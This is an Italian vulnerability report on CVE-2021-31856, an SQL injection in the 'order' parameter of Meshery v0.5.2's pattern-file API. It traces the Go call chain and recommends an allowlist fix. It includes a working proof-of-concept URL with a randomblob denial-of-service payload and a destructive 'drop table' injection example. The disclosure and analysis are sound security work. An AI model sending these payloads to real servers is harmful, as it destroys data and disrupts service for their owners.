
Report dettagliato di CVE-2021-31856 con PoC e analisi del codice per una vulnerabilità di SQL injection nell'API dei file pattern di Meshery, che consente l'estrazione di dati non autenticata.
| elemento | dettagli | nota |
|---|
| progetto | https://github.com/layer5io/meshery | |
| data dell'annuncio | 2021-04-28 | |
| CVE-ID | CVE-2021-31856 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856 |
| EDB-ID | \ | |
| Versione vulnerabile | v0.5.2 | \ |
| Versione corretta | v0.5.3 | https://github.com/layer5io/meshery/pull/2745 |
| CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | |
| Autore | https://github.com/ssst0n3 |
La funzione GetMesheryPatterns() in meshery/models/meshery_pattern_persister.go presenta una vulnerabilità di SQL Injection tramite il parametro order di /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0.
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0
Il parametro order nella funzione GetMesheryPatterns è un'istanza di stringa. Verrà aggiunto direttamente all'istruzione della query quando si utilizza gorm, e l'istruzione SQL viene eseguita da Find().
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Se il parametro order proviene dall'input dell'utente senza alcun filtro, esiste una vulnerabilità di SQL injection.
Seguendo il processo di chiamata, possiamo notare che il parametro "order" proviene direttamente dalla query.
func (h *Handler) GetMesheryPatternsHandler(
rw http.ResponseWriter,
r *http.Request,
prefObj *models.Preference,
user *models.User,
provider models.Provider,
) {
q := r.URL.Query()
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
if err != nil {
http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
return
}
rw.Header().Set("Content-Type", "application/json")
fmt.Fprint(rw, string(resp))
}
Se eseguiamo il debug, possiamo scoprire che l'istruzione della query è:
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>
se impostiamo order=id;drop table meshery_patterns, l'istruzione diventerà
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns
e la tabella verrà eliminata.
La catena di chiamata completa è:
gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
Methods("POST", "GET")
func (h *Handler) PatternFileRequestHandler(
...
h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}
func (h *Handler) GetMesheryPatternsHandler(
...
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Impostare un'allowlist per il parametro order invece di utilizzare parametri provenienti dall'input dell'utente senza alcun filtro.
Puoi trovare alcuni riferimenti nella documentazione di gorm: https://gorm.io/docs/security.html